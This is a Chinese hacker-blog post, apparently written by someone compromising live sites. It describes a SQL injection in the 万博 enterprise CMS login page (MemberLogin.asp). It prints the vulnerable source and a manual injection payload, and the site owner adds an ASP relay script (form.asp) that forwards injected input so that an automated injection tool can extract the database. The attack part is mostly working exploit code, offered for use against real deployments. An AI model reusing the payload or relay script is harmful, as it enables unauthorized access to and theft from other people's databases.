作者:流浪的风

    这两天拿站的时候,好几回都遇到个叫万博的企业管理系统,今天有时间就下载过来看了看,找到了个注入漏洞,郁闷的是,得手工,没法用工具,累人的事。因为已经找到了一个,我就没兴趣接着往下看了。

    这个注入漏洞发生在html/MemberLogin.asp文件里,在Include下有NoSqlHack.Asp文件也没调用,呵呵,就有了我们利用的地方了。

    MemberLogin.asp 源码如下:

MemberLogin.asp:

<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<% Option Explicit %>
<%Response.Charset="utf-8"%>
<!--#include file="../Include/Const.asp"-->
<!--#include file="../Include/ConnSiteData.asp"-->
<!--#include file="../Include/Md5.asp"-->
<%
if request.QueryString("Action")="Out" then
   session.contents.remove "MemName"
   session.contents.remove "GroupID"
   session.contents.remove "GroupLevel"
   session.contents.remove "MemLogin"
   response.redirect Cstr(request.ServerVariables("HTTP_REFERER"))
   response.end
end if

Public ErrMsg(3)
   ErrMsg(0)="•登录名不正确,请返回。"
   ErrMsg(1)="•登录密码不正确,请返回。"
   ErrMsg(2)="•帐号非使用状态,请返回。"

dim LoginName,LoginPassword,VerifyCode,MemName,Password,GroupID,GroupName,Working,rs,sql
LoginName=trim(request.form("LoginName"))
LoginPassword=Md5(request.form("LoginPassword"))
set rs = server.createobject("adodb.recordset")
sql="select * from NwebCn_Members where MemName='"&LoginName&"'"
rs.open sql,conn,1,3
if rs.bof and rs.eof then
   WriteMsg(ErrMsg(0))
   response.end
else
   MemName=rs("MemName")
   Password=rs("Password")
   GroupID=rs("GroupID")
   GroupName=rs("GroupName")
   Working=rs("Working")
end if

if LoginPassword<>Password then
   WriteMsg(ErrMsg(1))
   response.end
end if 

if not Working then
   WriteMsg(ErrMsg(2))
   response.end
end if 

if UCase(LoginName)=UCase(MemName) and LoginPassword=Password then
   rs("LastLoginTime")=now()
   rs("LastLoginIP")=Request.ServerVariables("Remote_Addr")
   rs("LoginTimes")=rs("LoginTimes")+1
   rs.update
   rs.close
   set rs=nothing
   session("MemName")=MemName
   session("GroupID")=GroupID
   '===========
   set rs = server.createobject("adodb.recordset")
   sql="select * from NwebCn_MemGroup where GroupID='"&GroupID&"'"
   rs.open sql,conn,1,1
   session("GroupLevel")=rs("GroupLevel")
   rs.close
   set rs=nothing
  '===========
   session("MemLogin")="Succeed"
   session.timeout=60
   response.redirect Cstr(request.ServerVariables("HTTP_REFERER"))
   response.end
end if
%>

    看到了,LoginName 未作过滤,直接代入查询,因此产生了这个注入,就是利用的方法有点麻烦,我试了下,没办法用工具,郁闷了。

    手工如:wzasdf' and exists (select * from [nwebcn_admin]) and '1'='1

    真是郁闷的手工,这个JB烂的洞。。。

站长评论:

    胡说,神马没法拿工具跑,无语……

注入中转脚本,form.asp:

<%
Dim WinHttp, Sql, Url
Set WinHttp = Server.CreateObject("WinHttp.WinHttpRequest.5.1")

'Sql = "LoginName=" & UrlEncoding("test' " & Request("Sql") & " and '1'='1", True)
Sql = "LoginName=" & UrlEncoding(Request("Sql"), True)
Url = "http://127.0.0.1/MemberLogin.asp"

WinHttp.Open "POST", Url, False
WinHttp.SetRequestHeader "Accept", "*/*"                                    '接受数据类型
WinHttp.SetRequestHeader "Accept-Language", "zh-cn,zh"                      '用户系统语言
WinHttp.SetRequestHeader "User-Agent", "Mozilla/6.0"                        '用户浏览器信息
WinHttp.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded" '编码方式
WinHttp.SetRequestHeader "Content-Length", Len(Sql)                         '内容长度,Post 方式用的。
'WinHttp.SetRequestHeader "Accept-Encoding", "gzip, deflate"                 '编码类型,如果发送,会返回 gzip, deflate 压缩过的编码
'WinHttp.SetRequestHeader "Connection", "Close"                              'Close = 不保持连接,Keep-Alive = 保持连接(持久连接)
'WinHttp.SetRequestHeader "Referer", "http://www.baidu.com/"                 '来路
'WinHttp.SetRequestHeader "Cookie", "test cookie!"                           '设置 Cookie
WinHttp.Send (Sql)

Response.Write Url & "<br><br>" & Sql
Response.BinaryWrite WinHttp.ResponseBody
Response.End

'----------------------------------------------------------------'

Public Function UrlEncoding(v, f)    'URL编码
'功能描述:URL编码函数
'输入参数:中英文混合字符串,f是否对ASCII字符编码
'返回值:编码后的ASC字符串
    Dim s, t, i, j, h, l, x: s = "": x = Len(v)
    For i = 1 To x
        t = Mid(v, i, 1): j = Asc(t)
        If j > 0 Then
            If f Then
                s = s & "%" & Right("00" & Hex(Asc(t)), 2)
            Else
                s = s & t
            End If
        Else
            If j < 0 Then j = j + &H10000
            h = (j And &HFF00) \ &HFF
            l = j And &HFF
            s = s & "%" & Hex(h) & "%" & Hex(l)
        End If
    Next
    UrlEncoding = s
End Function
%>

    临时写的脚本,没做检查,不出意外的话,地址:http://127.0.0.1/form.asp?sql=test,直接拿穿山甲跑,就行了。。。

留言评论(旧系统):

【匿名者】 @ 2012-10-05 16:13:17

确实没用

本站回复:

纳尼?